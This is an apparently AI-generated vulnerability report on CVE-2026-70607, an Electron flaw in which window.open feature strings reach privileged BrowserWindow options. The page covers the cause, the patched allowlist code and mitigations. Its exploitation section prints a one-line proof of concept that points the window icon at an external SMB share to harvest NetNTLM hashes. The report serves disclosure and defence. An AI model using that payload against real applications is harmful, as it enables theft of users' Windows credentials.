CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70607

CVE-2026-70607: Privileged Option Injection in Electron window.open Features

Alon Barad
Alon Barad
Software Engineer

Aug 5, 2026·6 min read·4 visits

Executive Summary (TL;DR)

An input validation vulnerability in Electron's window.open features parsing allows untrusted JavaScript to control privileged browser window options. This allows attackers to force UNC path loading, leaking Windows authentication hashes via SMB.

An input validation vulnerability in the Electron desktop framework allows untrusted web content running in a renderer process to inject privileged configuration options when creating child windows via window.open. Under Windows environments, this allows attackers to pass a remote Universal Naming Convention (UNC) path to the window icon configuration parameter, forcing the host system to make an SMB connection to a remote listener and leak the current user's NetNTLM authentication hash.

Vulnerability Overview

Electron utilizes a multi-process architecture to isolate host-level operations from raw client-side presentation. The main process executes with node-level host permissions, whereas the renderer processes run client-side code with constrained privileges. When client-side JavaScript calls the web-native window.open API, Electron routes this request to the main process to construct a new window interface.

Client applications utilize the optional features string within window.open to communicate layout preferences, such as window dimensions or positioning. In affected versions of the Electron framework, the component responsible for parsing these features fails to validate the key-value pairs. This permits client-supplied arguments to directly configure privileged properties within the underlying BrowserWindow constructor.

This flaw is categorized under CWE-20 (Improper Input Validation). The vulnerability allows a compromised renderer or an untrusted external web page to execute unexpected operations on the host system. By passing unvalidated parameters through the IPC bridge, attackers can bypass security boundaries and trigger unexpected filesystem or network access.

Root Cause Analysis

The parsing process for the features parameter is located within lib/browser/parse-features-string.ts in the parseFeatures utility function. This utility processes comma-separated values provided by the client execution context and converts them into an object dictionary. The primary coding mistake resides in casting this raw parsed object directly to the BrowserWindowConstructorOptions type using TypeScript's type assertion operator.

TypeScript type assertions provide no runtime enforcement or verification, meaning the generated JavaScript code passes the dictionary straight to the BrowserWindow constructor without sanitization. Any key supplied inside the features string is preserved and forwarded to the instantiation routine running in the main process.

An attacker can exploit this lack of validation by targeting the icon property, which accepts a local path or URI pointing to an image file. On Windows operating systems, supplying a Universal Naming Convention (UNC) path to this property directs the local SMB client to load the icon from an external server.

When the main process handles the path, the Windows kernel attempts to retrieve the image using the Server Message Block (SMB) protocol. During this connection, Windows transmits a NetNTLM challenge-response handshake to the external server, disclosing the system user's cryptographic NetNTLM authentication hash.

Code Analysis

The patch resolved this vulnerability by changing the configuration process from an implicit trust model to a strict positive allowlist. Below is the code from the parsing utility prior to the remediation:

// VULNERABLE CODE PATH
return {
  options: parsed as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
  webPreferences
};

In this configuration, the type assertion does not execute runtime filtering, allowing unvalidated parameters to reach the main process. The fix in commit 30cf3882de75ee651bd4e5f27002f13fd3d3163a introduces a strict Set called allowedWindowOptions and sanitizes the parsed dictionary prior to casting:

// PATCHED IMPLEMENTATION (Commit: 30cf3882de75ee651bd4e5f27002f13fd3d3163a)
const allowedWindowOptions = new Set<string>([
  'top', 'left', 'innerWidth', 'innerHeight',
  'x', 'y', 'width', 'height',
  'minWidth', 'minHeight', 'maxWidth', 'maxHeight', 'opacity',
  'show', 'center', 'useContentSize', 'frame', 'transparent', 'hasShadow',
  'movable', 'closable', 'focusable', 'minimizable', 'maximizable',
  'fullscreenable', 'alwaysOnTop', 'skipTaskbar', 'modal', 'acceptFirstMouse',
  'autoHideMenuBar', 'enableLargerThanScreen', 'paintWhenInitiallyHidden',
  'roundedCorners', 'thickFrame', 'disableAutoHideCursor', 'hiddenInMissionControl',
  'title', 'backgroundColor', 'tabbingIdentifier', 'titleBarStyle', 'vibrancy',
  'visualEffectState', 'backgroundMaterial'
]);
 
// Sanitization filter inside parseFeatures
const options: { [key: string]: CoercedValue } = {};
for (const key of Object.keys(parsed)) {
  if (allowedWindowOptions.has(key)) {
    options[key] = parsed[key];
  }
}
 
return {
  options: options as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
  webPreferences
};

Because the icon parameter is not in the allowedWindowOptions Set, any client request specifying this property is ignored. This resolves the vulnerability by ensuring that only safe presentation properties can be modified via the renderer features string.

Exploitation Methodology

To trigger the vulnerability, an attacker must have the ability to execute client-side JavaScript within the Electron renderer process. This can be achieved through cross-site scripting (XSS), an open redirect, or by the application loading an external, untrusted web page. The target application must also lack explicit window creation handlers that override client configuration options.

The exploit payload is delivered by invoking window.open with a features string containing the injected icon option mapping to an external SMB share. The following payload demonstrates this configuration:

window.open('about:blank', '_blank', 'icon=\\192.168.1.100\harvest\image.png,show=no');

When the main process receives the payload, the Windows OS initiates a connection to the external IP address to resolve the file. The attacker captures the resulting NetNTLM challenge-response transaction using an SMB authentication handler.

Impact Assessment

The primary outcome of exploiting CVE-2026-70607 is the exposure of the Windows system user's NetNTLM credential hash. Attackers can process this captured hash offline using password cracking tools to obtain the plaintext credentials. In environments with weak network policies, the hash can also be relayed to access other corporate systems.

In addition, this vulnerability permits the manipulation of parent-child relationships and window properties. By altering parameters like parent, an attacker can impact application stability, bypass sandboxing constraints, or disrupt user interactions.

Although the CVSS score is 5.3 (Medium), the real-world risk in enterprise settings is elevated. Because SMB traffic is frequently allowed to leave corporate networks or traverse internal subnets, this vector provides a silent method for lateral movement or domain credential harvesting.

Remediation and Mitigation

To resolve this vulnerability, developers must upgrade the Electron framework to a patched version. Safe releases containing the parameter filter are 39.8.8, 40.9.0, 41.2.1, and 42.0.0-beta.3.

If upgrading the framework is not immediately possible, you can mitigate the vulnerability by defining a custom window handler in the main process. This is done by registering the setWindowOpenHandler callback on all webContents instances:

// Implement sanitization via setWindowOpenHandler
mainWindow.webContents.setWindowOpenHandler(({ url }) => {
  return {
    action: 'allow',
    overrideBrowserWindowOptions: {
      // Explicitly define parameters to safe values, overriding renderer requests
      icon: path.join(__dirname, 'assets', 'app-icon.png'),
      show: true
    }
  };
});

Overriding the browser options inside the handler takes precedence over the renderer features string, neutralizing any input passed from window.open. Restricting the application's ability to execute external scripts via a strict Content Security Policy (CSP) also helps prevent the execution of the initial exploit payload.

Official Patches

ElectronElectron Security Advisory GHSA-v93f-fgjr-hjrj

Fix Analysis (4)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Affected Systems

Electron Desktop Applications running on Windows

Affected Versions Detail

Product
Affected Versions
Fixed Version
electron
Electron
< 39.8.839.8.8
electron
Electron
>= 40.0.0-alpha.1, < 40.9.040.9.0
electron
Electron
>= 41.0.0-alpha.1, < 41.2.141.2.1
electron
Electron
>= 42.0.0-alpha.1, < 42.0.0-beta.342.0.0-beta.3
AttributeDetail
CWE IDCWE-20
Attack VectorNetwork
CVSS v3.1 Score5.3
EPSS ScoreNot Available
ImpactInformation Disclosure (NetNTLM Hash Leak)
Exploit StatusProof of Concept
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-20
Improper Input Validation

The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Vulnerability Timeline

Vulnerability Patched in Source Repository
2026-04-12
Security Advisory Published and CVE Assigned
2026-08-05

References & Sources

  • [1]GHSA-v93f-fgjr-hjrj Security Advisory
  • [2]Fix Commit 30cf3882de75ee651bd4e5f27002f13fd3d3163a
  • [3]CVE-2026-70607 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•33 minutes ago•CVE-2026-70610
5.4

CVE-2026-70610: Context Isolation Bypass via Prototype Pollution in Electron contextBridge

A security vulnerability in Electron's contextBridge allows untrusted renderer contexts to bypass context isolation. By passing an object with a crafted __proto__ property, an attacker can pollute the prototype chain of objects copied into the privileged preload context. This occurs because Electron's C++ property copying layer used standard V8 property assignment, which executes prototype setters. This bypasses Electron's context isolation security boundary, potentially enabling remote code execution (RCE) or privileges escalation. The vulnerability has been addressed in Electron versions 39.8.9, 40.9.2, 41.2.2, and 42.0.0-beta.4.

Amit Schendel
Amit Schendel
1 views•5 min read
•about 2 hours ago•CVE-2026-70611
6.9

CVE-2026-70611: Sandbox Escape and Command Execution via DevTools Shell Integration in Electron

A high-severity sandbox escape and arbitrary command execution vulnerability exists in the Electron desktop framework prior to versions 39.8.9, 40.9.2, 41.2.1, and 42.0.0-beta.3. The flaw lies in the handling of DevTools embedder messages during file manager reveal actions, allowing an attacker to execute arbitrary binaries with main process privileges.

Alon Barad
Alon Barad
4 views•6 min read
•about 3 hours ago•CVE-2026-70612
5.4

CVE-2026-70612: Iframe Sandbox Escape and Host Protocol Launch in Electron

Improper access control in Electron versions prior to 39.8.8, 40.9.0, 41.2.1, and 42.0.0-beta.3 allowed sandboxed iframes to bypass sandbox restrictions and trigger external application protocols on the host operating system. The application's custom permission handler was also not provided with the frame's sandbox state, preventing effective validation of the request context.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 5 hours ago•CVE-2026-70604
7.4

CVE-2026-70604: Cross-Origin Resource Sharing (CORS) Bypass in Electron Custom Schemes

Electron custom schemes registered with supportFetchAPI: true but without corsEnabled: true failed to apply CORS enforcement in versions prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0. This mapping discrepancy allowed malicious remote pages to issue cross-origin requests, read sensitive local response data, and bypass Same-Origin Policy (SOP) mechanisms.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 7 hours ago•CVE-2026-70491
6.5

CVE-2026-70491: Source Code Disclosure in Open WebUI Custom Tools

An information disclosure vulnerability in Open WebUI versions 0.10.2 and earlier allows authenticated non-admin users with read-only access (or any authenticated user when a tool is shared publicly) to retrieve the raw Python source code of custom workspace tools. Because these server-side tools commonly contain hardcoded API tokens, credentials, and proprietary logic, the exposure of raw tool source code severely compromises confidentiality and can facilitate wider infrastructure compromise.

Alon Barad
Alon Barad
6 views•5 min read
•about 8 hours ago•CVE-2026-70492
8.7

CVE-2026-70492: Stored Cross-Site Scripting (XSS) via Unescaped KaTeX Render-Error Fallback in Open WebUI

CVE-2026-70492 (also tracked as GHSA-pwxh-7358-jq2x) is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI versions 0.10.0 through 0.10.x. The flaw arises because engine-level JavaScript stack overflow errors escape KaTeX standard error handling. Svelte's fallback rendering path assigns the raw, unescaped mathematical input string directly to the DOM using the unsafe {@html} directive, enabling arbitrary client-side code execution. This allows attackers to steal session tokens and perform unauthorized administrative actions when users view malicious messages. The vulnerability has been fully resolved in version 0.11.0.

Amit Schendel
Amit Schendel
3 views•10 min read